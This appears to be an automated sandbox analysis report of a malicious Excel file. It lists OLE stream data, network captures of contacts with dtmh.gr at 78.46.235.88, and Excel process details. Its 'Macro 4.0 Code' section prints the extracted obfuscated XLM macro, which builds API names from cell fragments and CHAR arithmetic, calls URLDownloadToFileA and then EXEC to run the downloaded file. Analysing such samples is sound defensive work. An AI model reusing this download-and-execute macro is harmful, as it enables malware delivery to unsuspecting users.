                                            Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 bf 00 00 00 02 00 00 00 e3 04 00 00
                                            Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
                                            General
                                            Stream Path:\x5SummaryInformation
                                            File Type:data
                                            Stream Size:4096
                                            Entropy:0.246848689361
                                            Base64 Encoded:False
                                            Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . x 7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                            Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00
                                            Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 327615
                                            General
                                            Stream Path:Workbook
                                            File Type:Applesoft BASIC program data, first line number 16
                                            Stream Size:327615
                                            Entropy:7.64856513514
                                            Base64 Encoded:True
                                            Data ASCII:. . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . l . . 9 P . 8 . . . . . . . X . @ . . . . . .
                                            Data Raw:09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

                                            Macro 4.0 Code

                                            CALL("Ke"&????2!HY314&"32", "Cr"&????2!IA342&"yA", "JCJ", ????2!HP312&????2!HP327, 0)
                                            
                                            CALL("U"&????2!IA332, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HP312&????2!HP327&????2!HP341, 0, 0)
                                            
                                            =RUN(R59),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN(????4!D50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!HY314&""32"",""Cr""&????2!IA342&""yA"",""JCJ"",????2!HP312&????2!HP327,0)",,,,,,,,,,,,,,,,,=RUN(????5!A50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                            "=CALL(""Ke""&????2!HY314&""32"",""Cr""&????2!IA342&""yA"",""JCJ"",????2!HP312,0)",,,,=RUN(????1!M66),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F78,G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157,=CHAR(F83-G83-H83),501,328,108
                                            "=CALL(""U""&????2!IA332,""U""&????4!E65,""IICCII"",0,????2!EE100,????2!HP312&????2!HP327&????2!HP341,0,0)"=HALT()=EXEC(????3!W36&????2!HP312&????2!HP327&????2!HP341)

                                            Network Behavior

                                            Network Port Distribution

                                            TCP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            Nov 29, 2020 04:58:37.797610044 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:37.818783998 CET4434916578.46.235.88192.168.2.22
                                            Nov 29, 2020 04:58:37.819001913 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:37.834960938 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:38.137768984 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:38.746154070 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:39.947499990 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:41.164311886 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:42.365680933 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:44.768812895 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:49.573549986 CET49165443192.168.2.2278.46.235.88
                                            Nov 29, 2020 04:58:59.183962107 CET49165443192.168.2.2278.46.235.88

                                            UDP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            Nov 29, 2020 04:58:37.691312075 CET5219753192.168.2.228.8.8.8
                                            Nov 29, 2020 04:58:37.773731947 CET53521978.8.8.8192.168.2.22

                                            DNS Queries

                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                            Nov 29, 2020 04:58:37.691312075 CET192.168.2.228.8.8.80x78b6Standard query (0)dtmh.grA (IP address)IN (0x0001)

                                            DNS Answers

                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                            Nov 29, 2020 04:58:37.773731947 CET8.8.8.8192.168.2.220x78b6No error (0)dtmh.gr78.46.235.88A (IP address)IN (0x0001)

                                            Code Manipulations

                                            Statistics

                                            CPU Usage

                                            Click to jump to process

                                            Memory Usage

                                            Click to jump to process

                                            High Level Behavior Distribution

                                            Click to dive into process behavior distribution

                                            System Behavior

                                            General

                                            Start time:04:58:38
                                            Start date:29/11/2020
                                            Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                            Wow64 process (32bit):false
                                            Commandline:'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
                                            Imagebase:0x13fdc0000
                                            File size:27641504 bytes
                                            MD5 hash:5FB0A0F93382ECD19F5F499A5CAA59F0
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high

                                            Disassembly

                                            Reset < >